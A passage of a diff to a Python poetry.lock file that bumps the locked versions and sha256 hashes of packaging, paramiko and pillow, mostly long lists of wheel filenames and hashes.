"sha256:09abb1bccd265c01f4a3aa3f7a7db064b36514d2cba19a2f694fe6150451a759"}, - {file = "packaging-24.2.tar.gz", hash = "sha256:c228a6dc5e932d346bc5739379109d49e8853dd8223571c7c5b55260edc0b97f"}, + {file = "packaging-26.0-py3-none-any.whl", hash = "sha256:b36f1fef9334a5588b4166f8bcd26a14e521f2b55e6b9de3aaa80d3ff7a37529"}, + {file = "packaging-26.0.tar.gz", hash = "sha256:00243ae351a257117b6a241061796684b084ed1c516a08c48a3f7e147a9d80b4"}, ] [[package]] name = "paramiko" -version = "3.5.1" +version = "4.0.0" description = "SSH2 protocol library" optional = false -python-versions = ">=3.6" +python-versions = ">=3.9" groups = ["main"] files = [ - {file = "paramiko-3.5.1-py3-none-any.whl", hash = "sha256:43b9a0501fc2b5e70680388d9346cf252cfb7d00b0667c39e80eb43a408b8f61"}, - {file = "paramiko-3.5.1.tar.gz", hash = "sha256:b2c665bc45b2b215bd7d7f039901b14b067da00f3a11e6640995fd58f2664822"}, + {file = "paramiko-4.0.0-py3-none-any.whl", hash = "sha256:0e20e00ac666503bf0b4eda3b6d833465a2b7aff2e2b3d79a8bba5ef144ee3b9"}, + {file = "paramiko-4.0.0.tar.gz", hash = "sha256:6a25f07b380cc9c9a88d2b920ad37167ac4667f8d9886ccebd8f90f654b5d69f"}, ] [package.dependencies] bcrypt = ">=3.2" cryptography = ">=3.3" +invoke = ">=2.0" pynacl = ">=1.5" [package.extras] -all = ["gssapi (>=1.4.1) ; platform_system != \"Windows\"", "invoke (>=2.0)", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8) ; platform_system == \"Windows\""] gssapi = ["gssapi (>=1.4.1) ; platform_system != \"Windows\"", "pyasn1 (>=0.1.7)", "pywin32 (>=2.1.8) ; platform_system == \"Windows\""] -invoke = ["invoke (>=2.0)"] [[package]] name = "pefile" @@ -1577,131 +1718,151 @@ files = [ [[package]] name = "pillow" -version = "11.1.0" -description = "Python Imaging Library (Fork)" +version = "12.1.1" +description = "Python Imaging Library (fork)" optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "pillow-11.1.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:e1abe69aca89514737465752b4bcaf8016de61b3be1397a8fc260ba33321b3a8"}, - {file = "pillow-11.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c640e5a06869c75994624551f45e5506e4256562ead981cce820d5ab39ae2192"}, - {file = "pillow-11.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a07dba04c5e22824816b2615ad7a7484432d7f540e6fa86af60d2de57b0fcee2"}, - {file = "pillow-11.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e267b0ed063341f3e60acd25c05200df4193e15a4a5807075cd71225a2386e26"}, - {file = "pillow-11.1.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:bd165131fd51697e22421d0e467997ad31621b74bfc0b75956608cb2906dda07"}, - {file = "pillow-11.1.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:abc56501c3fd148d60659aae0af6ddc149660469082859fa7b066a298bde9482"}, - {file = "pillow-11.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:54ce1c9a16a9561b6d6d8cb30089ab1e5eb66918cb47d457bd996ef34182922e"}, - {file = "pillow-11.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:73ddde795ee9b06257dac5ad42fcb07f3b9b813f8c1f7f870f402f4dc54b5269"}, - {file = "pillow-11.1.0-cp310-cp310-win32.whl", hash = "sha256:3a5fe20a7b66e8135d7fd617b13272626a28278d0e578c98720d9ba4b2439d49"}, - {file = "pillow-11.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:b6123aa4a59d75f06e9dd3dac5bf8bc9aa383121bb3dd9a7a612e05eabc9961a"}, - {file = "pillow-11.1.0-cp310-cp310-win_arm64.whl", hash = "sha256:a76da0a31da6fcae4210aa94fd779c65c75786bc9af06289cd1c184451ef7a65"}, - {file = "pillow-11.1.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:e06695e0326d05b06833b40b7ef477e475d0b1ba3a6d27da1bb48c23209bf457"}, - {file = "pillow-11.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:96f82000e12f23e4f29346e42702b6ed9a2f2fea34a740dd5ffffcc8c539eb35"}, - {file = "pillow-11.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a3cd561ded2cf2bbae44d4605837221b987c216cff94f49dfeed63488bb228d2"}, - {file = "pillow-11.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f189805c8be5ca5add39e6f899e6ce2ed824e65fb45f3c28cb2841911da19070"}, - {file = "pillow-11.1.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:dd0052e9db3474df30433f83a71b9b23bd9e4ef1de13d92df21a52c0303b8ab6"}, - {file = "pillow-11.1.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:837060a8599b8f5d402e97197d4924f05a2e0d68756998345c829c33186217b1"}, - {file = "pillow-11.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:aa8dd43daa836b9a8128dbe7d923423e5ad86f50a7a14dc688194b7be5c0dea2"}, - {file = "pillow-11.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0a2f91f8a8b367e7a57c6e91cd25af510168091fb89ec5146003e424e1558a96"}, - {file = "pillow-11.1.0-cp311-cp311-win32.whl", hash = "sha256:c12fc111ef090845de2bb15009372175d76ac99969bdf31e2ce9b42e4b8cd88f"}, - {file = "pillow-11.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:fbd43429d0d7ed6533b25fc993861b8fd512c42d04514a0dd6337fb3ccf22761"}, - {file = "pillow-11.1.0-cp311-cp311-win_arm64.whl", hash = "sha256:f7955ecf5609dee9442cbface754f2c6e541d9e6eda87fad7f7a989b0bdb9d71"}, - {file = "pillow-11.1.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2062ffb1d36544d42fcaa277b069c88b01bb7298f4efa06731a7fd6cc290b81a"}, - {file = "pillow-11.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:a85b653980faad27e88b141348707ceeef8a1186f75ecc600c395dcac19f385b"}, - {file = "pillow-11.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9409c080586d1f683df3f184f20e36fb647f2e0bc3988094d4fd8c9f4eb1b3b3"}, - {file = "pillow-11.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7fdadc077553621911f27ce206ffcbec7d3f8d7b50e0da39f10997e8e2bb7f6a"}, - {file = "pillow-11.1.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:93a18841d09bcdd774dcdc308e4537e1f867b3dec059c131fde0327899734aa1"}, - {file = "pillow-11.1.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:9aa9aeddeed452b2f616ff5507459e7bab436916ccb10961c4a382cd3e03f47f"}, - {file = "pillow-11.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:3cdcdb0b896e981678eee140d882b70092dac83ac1cdf6b3a60e2216a73f2b91"}, - {file = "pillow-11.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:36ba10b9cb413e7c7dfa3e189aba252deee0602c86c309799da5a74009ac7a1c"}, - {file = "pillow-11.1.0-cp312-cp312-win32.whl", hash = "sha256:cfd5cd998c2e36a862d0e27b2df63237e67273f2fc78f47445b14e73a810e7e6"}, - {file = "pillow-11.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:a697cd8ba0383bba3d2d3ada02b34ed268cb548b369943cd349007730c92bddf"}, - {file = "pillow-11.1.0-cp312-cp312-win_arm64.whl", hash = "sha256:4dd43a78897793f60766563969442020e90eb7847463eca901e41ba186a7d4a5"}, - {file = "pillow-11.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:ae98e14432d458fc3de11a77ccb3ae65ddce70f730e7c76140653048c71bfcbc"}, - {file = "pillow-11.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:cc1331b6d5a6e144aeb5e626f4375f5b7ae9934ba620c0ac6b3e43d5e683a0f0"}, - {file = "pillow-11.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:758e9d4ef15d3560214cddbc97b8ef3ef86ce04d62ddac17ad39ba87e89bd3b1"}, - {file = "pillow-11.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b523466b1a31d0dcef7c5be1f20b942919b62fd6e9a9be199d035509cbefc0ec"}, - {file = "pillow-11.1.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:9044b5e4f7083f209c4e35aa5dd54b1dd5b112b108648f5c902ad586d4f945c5"}, - {file = "pillow-11.1.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:3764d53e09cdedd91bee65c2527815d315c6b90d7b8b79759cc48d7bf5d4f114"}, - {file = "pillow-11.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:31eba6bbdd27dde97b0174ddf0297d7a9c3a507a8a1480e1e60ef914fe23d352"}, - {file = "pillow-11.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b5d658fbd9f0d6eea113aea286b21d3cd4d3fd978157cbf2447a6035916506d3"}, - {file = "pillow-11.1.0-cp313-cp313-win32.whl", hash = "sha256:f86d3a7a9af5d826744fabf4afd15b9dfef44fe69a98541f666f66fbb8d3fef9"}, - {file = "pillow-11.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:593c5fd6be85da83656b93ffcccc2312d2d149d251e98588b14fbc288fd8909c"}, - {file = "pillow-11.1.0-cp313-cp313-win_arm64.whl", hash = "sha256:11633d58b6ee5733bde153a8dafd25e505ea3d32e261accd388827ee987baf65"}, - {file = "pillow-11.1.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:70ca5ef3b3b1c4a0812b5c63c57c23b63e53bc38e758b37a951e5bc466449861"}, - {file = "pillow-11.1.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:8000376f139d4d38d6851eb149b321a52bb8893a88dae8ee7d95840431977081"}, - {file = "pillow-11.1.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9ee85f0696a17dd28fbcfceb59f9510aa71934b483d1f5601d1030c3c8304f3c"}, - {file = "pillow-11.1.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:dd0e081319328928531df7a0e63621caf67652c8464303fd102141b785ef9547"}, - {file = "pillow-11.1.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:e63e4e5081de46517099dc30abe418122f54531a6ae2ebc8680bcd7096860eab"}, - {file = "pillow-11.1.0-cp313-cp313t-win32.whl", hash = "sha256:dda60aa465b861324e65a78c9f5cf0f4bc713e4309f83bc387be158b077963d9"}, - {file = "pillow-11.1.0-cp313-cp313t-win_amd64.whl", hash = "sha256:ad5db5781c774ab9a9b2c4302bbf0c1014960a0a7be63278d13ae6fdf88126fe"}, - {file = "pillow-11.1.0-cp313-cp313t-win_arm64.whl", hash = "sha256:67cd427c68926108778a9005f2a04adbd5e67c442ed21d95389fe1d595458756"}, - {file = "pillow-11.1.0-cp39-cp39-macosx_10_10_x86_64.whl", hash = "sha256:bf902d7413c82a1bfa08b06a070876132a5ae6b2388e2712aab3a7cbc02205c6"}, - {file = "pillow-11.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:c1eec9d950b6fe688edee07138993e54ee4ae634c51443cfb7c1e7613322718e"}, - {file = "pillow-11.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8e275ee4cb11c262bd108ab2081f750db2a1c0b8c12c1897f27b160c8bd57bbc"}, - {file = "pillow-11.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4db853948ce4e718f2fc775b75c37ba2efb6aaea41a1a5fc57f0af59eee774b2"}, - {file = "pillow-11.1.0-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:ab8a209b8485d3db694fa97a896d96dd6533d63c22829043fd9de627060beade"}, - {file = "pillow-11.1.0-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:54251ef02a2309b5eec99d151ebf5c9904b77976c8abdcbce7891ed22df53884"}, - {file = "pillow-11.1.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:5bb94705aea800051a743aa4874bb1397d4695fb0583ba5e425ee0328757f196"}, - {file = "pillow-11.1.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:89dbdb3e6e9594d512780a5a1c42801879628b38e3efc7038094430844e271d8"}, - {file = "pillow-11.1.0-cp39-cp39-win32.whl", hash = "sha256:e5449ca63da169a2e6068dd0e2fcc8d91f9558aba89ff6d02121ca8ab11e79e5"}, - {file = "pillow-11.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:3362c6ca227e65c54bf71a5f88b3d4565ff1bcbc63ae72c34b07bbb1cc59a43f"}, - {file = "pillow-11.1.0-cp39-cp39-win_arm64.whl", hash = "sha256:b20be51b37a75cc54c2c55def3fa2c65bb94ba859dde241cd0a4fd302de5ae0a"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:8c730dc3a83e5ac137fbc92dfcfe1511ce3b2b5d7578315b63dbbb76f7f51d90"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:7d33d2fae0e8b170b6a6c57400e077412240f6f5bb2a342cf1ee512a787942bb"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a8d65b38173085f24bc07f8b6c505cbb7418009fa1a1fcb111b1f4961814a442"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:015c6e863faa4779251436db398ae75051469f7c903b043a48f078e437656f83"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:d44ff19eea13ae4acdaaab0179fa68c0c6f2f45d66a4d8ec1eda7d6cecbcc15f"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:d3d8da4a631471dfaf94c10c85f5277b1f8e42ac42bade1ac67da4b4a7359b73"}, - {file = "pillow-11.1.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:4637b88343166249fe8aa94e7c4a62a180c4b3898283bb5d3d2fd5fe10d8e4e0"}, - {file = "pillow-11.1.0.tar.gz", hash = "sha256:368da70808b36d73b4b390a8ffac11069f8a5c85f29eff1f1b01bcf3ef5b2a20"}, + {file = "pillow-12.1.1-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:1f1625b72740fdda5d77b4def688eb8fd6490975d06b909fd19f13f391e077e0"}, + {file = "pillow-12.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:178aa072084bd88ec759052feca8e56cbb14a60b39322b99a049e58090479713"}, + {file = "pillow-12.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b66e95d05ba806247aaa1561f080abc7975daf715c30780ff92a20e4ec546e1b"}, + {file = "pillow-12.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:89c7e895002bbe49cdc5426150377cbbc04767d7547ed145473f496dfa40408b"}, + {file = "pillow-12.1.1-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a5cbdcddad0af3da87cb16b60d23648bc3b51967eb07223e9fed77a82b457c4"}, + {file = "pillow-12.1.1-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9f51079765661884a486727f0729d29054242f74b46186026582b4e4769918e4"}, + {file = "pillow-12.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:99c1506ea77c11531d75e3a412832a13a71c7ebc8192ab9e4b2e355555920e3e"}, + {file = "pillow-12.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:36341d06738a9f66c8287cf8b876d24b18db9bd8740fa0672c74e259ad408cff"}, + {file = "pillow-12.1.1-cp310-cp310-win32.whl", hash = "sha256:6c52f062424c523d6c4db85518774cc3d50f5539dd6eed32b8f6229b26f24d40"}, + {file = "pillow-12.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:c6008de247150668a705a6338156efb92334113421ceecf7438a12c9a12dab23"}, + {file = "pillow-12.1.1-cp310-cp310-win_arm64.whl", hash = "sha256:1a9b0ee305220b392e1124a764ee4265bd063e54a751a6b62eff69992f457fa9"}, + {file = "pillow-12.1.1-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:e879bb6cd5c73848ef3b2b48b8af9ff08c5b71ecda8048b7dd22d8a33f60be32"}, + {file = "pillow-12.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:365b10bb9417dd4498c0e3b128018c4a624dc11c7b97d8cc54effe3b096f4c38"}, + {file = "pillow-12.1.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:d4ce8e329c93845720cd2014659ca67eac35f6433fd3050393d85f3ecef0dad5"}, + {file = "pillow-12.1.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc354a04072b765eccf2204f588a7a532c9511e8b9c7f900e1b64e3e33487090"}, + {file = "pillow-12.1.1-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7e7976bf1910a8116b523b9f9f58bf410f3e8aa330cd9a2bb2953f9266ab49af"}, + {file = "pillow-12.1.1-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:597bd9c8419bc7c6af5604e55847789b69123bbe25d65cc6ad3012b4f3c98d8b"}, + {file = "pillow-12.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:2c1fc0f2ca5f96a3c8407e41cca26a16e46b21060fe6d5b099d2cb01412222f5"}, + {file = "pillow-12.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:578510d88c6229d735855e1f278aa305270438d36a05031dfaae5067cc8eb04d"}, + {file = "pillow-12.1.1-cp311-cp311-win32.whl", hash = "sha256:7311c0a0dcadb89b36b7025dfd8326ecfa36964e29913074d47382706e516a7c"}, + {file = "pillow-12.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:fbfa2a7c10cc2623f412753cddf391c7f971c52ca40a3f65dc5039b2939e8563"}, + {file = "pillow-12.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:b81b5e3511211631b3f672a595e3221252c90af017e399056d0faabb9538aa80"}, + {file = "pillow-12.1.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:ab323b787d6e18b3d91a72fc99b1a2c28651e4358749842b8f8dfacd28ef2052"}, + {file = "pillow-12.1.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:adebb5bee0f0af4909c30db0d890c773d1a92ffe83da908e2e9e720f8edf3984"}, + {file = "pillow-12.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:bb66b7cc26f50977108790e2456b7921e773f23db5630261102233eb355a3b79"}, + {file = "pillow-12.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:aee2810642b2898bb187ced9b349e95d2a7272930796e022efaf12e99dccd293"}, + {file = "pillow-12.1.1-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a0b1cd6232e2b618adcc54d9882e4e662a089d5768cd188f7c245b4c8c44a397"}, + {file = "pillow-12.1.1-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7aac39bcf8d4770d089588a2e1dd111cbaa42df5a94be3114222057d68336bd0"}, + {file = "pillow-12.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:ab174cd7d29a62dd139c44bf74b698039328f45cb03b4596c43473a46656b2f3"}, + {file = "pillow-12.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:339ffdcb7cbeaa08221cd401d517d4b1fe7a9ed5d400e4a8039719238620ca35"}, + {file = "pillow-12.1.1-cp312-cp312-win32.whl", hash = "sha256:5d1f9575a12bed9e9eedd9a4972834b08c97a352bd17955ccdebfeca5913fa0a"}, + {file = "pillow-12.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:21329ec8c96c6e979cd0dfd29406c40c1d52521a90544463057d2aaa937d66a6"}, + {file = "pillow-12.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:af9a332e572978f0218686636610555ae3defd1633597be015ed50289a03c523"}, + {file = "pillow-12.1.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:d242e8ac078781f1de88bf823d70c1a9b3c7950a44cdf4b7c012e22ccbcd8e4e"}, + {file = "pillow-12.1.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:02f84dfad02693676692746df05b89cf25597560db2857363a208e393429f5e9"}, + {file = "pillow-12.1.1-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:e65498daf4b583091ccbb2556c7000abf0f3349fcd57ef7adc9a84a394ed29f6"}, + {file = "pillow-12.1.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:6c6db3b84c87d48d0088943bf33440e0c42370b99b1c2a7989216f7b42eede60"}, + {file = "pillow-12.1.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:8b7e5304e34942bf62e15184219a7b5ad4ff7f3bb5cca4d984f37df1a0e1aee2"}, + {file = "pillow-12.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:18e5bddd742a44b7e6b1e773ab5db102bd7a94c32555ba656e76d319d19c3850"}, + {file = "pillow-12.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fc44ef1f3de4f45b50ccf9136999d71abb99dca7706bc75d222ed350b9fd2289"}, + {file = "pillow-12.1.1-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5a8eb7ed8d4198bccbd07058416eeec51686b498e784eda166395a23eb99138e"}, + {file = "pillow-12.1.1-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:47b94983da0c642de92ced1702c5b6c292a84bd3a8e1d1702ff923f183594717"}, + {file = "pillow-12.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:518a48c2aab7ce596d3bf79d0e275661b846e86e4d0e7dec34712c30fe07f02a"}, + {file = "pillow-12.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:a550ae29b95c6dc13cf69e2c9dc5747f814c54eeb2e32d683e5e93af56caa029"}, + {file = "pillow-12.1.1-cp313-cp313-win32.whl", hash = "sha256:a003d7422449f6d1e3a34e3dd4110c22148336918ddbfc6a32581cd54b2e0b2b"}, + {file = "pillow-12.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:344cf1e3dab3be4b1fa08e449323d98a2a3f819ad20f4b22e77a0ede31f0faa1"}, + {file = "pillow-12.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:5c0dd1636633e7e6a0afe7bf6a51a14992b7f8e60de5789018ebbdfae55b040a"}, + {file = "pillow-12.1.1-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:0330d233c1a0ead844fc097a7d16c0abff4c12e856c0b325f231820fee1f39da"}, + {file = "pillow-12.1.1-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:5dae5f21afb91322f2ff791895ddd8889e5e947ff59f71b46041c8ce6db790bc"}, + {file = "pillow-12.1.1-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2e0c664be47252947d870ac0d327fea7e63985a08794758aa8af5b6cb6ec0c9c"}, + {file = "pillow-12.1.1-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:691ab2ac363b8217f7d31b3497108fb1f50faab2f75dfb03284ec2f217e87bf8"}, + {file = "pillow-12.1.1-cp313-cp313t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9e8064fb1cc019296958595f6db671fba95209e3ceb0c4734c9baf97de04b20"}, + {file = "pillow-12.1.1-cp313-cp313t-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:472a8d7ded663e6162dafdf20015c486a7009483ca671cece7a9279b512fcb13"}, + {file = "pillow-12.1.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:89b54027a766529136a06cfebeecb3a04900397a3590fd252160b888479517bf"}, + {file = "pillow-12.1.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:86172b0831b82ce4f7877f280055892b31179e1576aa00d0df3bb1bbf8c3e524"}, + {file = "pillow-12.1.1-cp313-cp313t-win32.whl", hash = "sha256:44ce27545b6efcf0fdbdceb31c9a5bdea9333e664cda58a7e674bb74608b3986"}, + {file = "pillow-12.1.1-cp313-cp313t-win_amd64.whl", hash = "sha256:a285e3eb7a5a45a2ff504e31f4a8d1b12ef62e84e5411c6804a42197c1cf586c"}, + {file = "pillow-12.1.1-cp313-cp313t-win_arm64.whl", hash = "sha256:cc7d296b5ea4d29e6570dabeaed58d31c3fea35a633a69679fb03d7664f43fb3"}, + {file = "pillow-12.1.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:417423db963cb4be8bac3fc1204fe61610f6abeed1580a7a2cbb2fbda20f12af"}, + {file = "pillow-12.1.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:b957b71c6b2387610f556a7eb0828afbe40b4a98036fc0d2acfa5a44a0c2036f"}, + {file = "pillow-12.1.1-cp314-cp314-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:097690ba1f2efdeb165a20469d59d8bb03c55fb6621eb2041a060ae8ea3e9642"}, + {file = "pillow-12.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:2815a87ab27848db0321fb78c7f0b2c8649dee134b7f2b80c6a45c6831d75ccd"}, + {file = "pillow-12.1.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:f7ed2c6543bad5a7d5530eb9e78c53132f93dfa44a28492db88b41cdab885202"}, + {file = "pillow-12.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:652a2c9ccfb556235b2b501a3a7cf3742148cd22e04b5625c5fe057ea3e3191f"}, + {file = "pillow-12.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:d6e4571eedf43af33d0fc233a382a76e849badbccdf1ac438841308652a08e1f"}, + {file = "pillow-12.1.1-cp314-cp314-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b574c51cf7d5d62e9be37ba446224b59a2da26dc4c1bb2ecbe936a4fb1a7cb7f"}, + {file = "pillow-12.1.1-cp314-cp314-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a37691702ed687799de29a518d63d4682d9016932db66d4e90c345831b02fb4e"}, + {file = "pillow-12.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:f95c00d5d6700b2b890479664a06e754974848afaae5e21beb4d83c106923fd0"}, + {file = "pillow-12.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:559b38da23606e68681337ad74622c4dbba02254fc9cb4488a305dd5975c7eeb"}, + {file = "pillow-12.1.1-cp314-cp314-win32.whl", hash = "sha256:03edcc34d688572014ff223c125a3f77fb08091e4607e7745002fc214070b35f"}, + {file = "pillow-12.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:50480dcd74fa63b8e78235957d302d98d98d82ccbfac4c7e12108ba9ecbdba15"}, + {file = "pillow-12.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:5cb1785d97b0c3d1d1a16bc1d710c4a0049daefc4935f3a8f31f827f4d3d2e7f"}, + {file = "pillow-12.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:1f90cff8aa76835cba5769f0b3121a22bd4eb9e6884cfe338216e557a9a548b8"}, + {file = "pillow-12.1.1-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1f1be78ce9466a7ee64bfda57bdba0f7cc499d9794d518b854816c41bf0aa4e9"}, + {file = "pillow-12.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:42fc1f4677106188ad9a55562bbade416f8b55456f522430fadab3cef7cd4e60"}, + {file = "pillow-12.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:98edb152429ab62a1818039744d8fbb3ccab98a7c29fc3d5fcef158f3f1f68b7"}, + {file = "pillow-12.1.1-cp314-cp314t-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:d470ab1178551dd17fdba0fef463359c41aaa613cdcd7ff8373f54be629f9f8f"}, + {file = 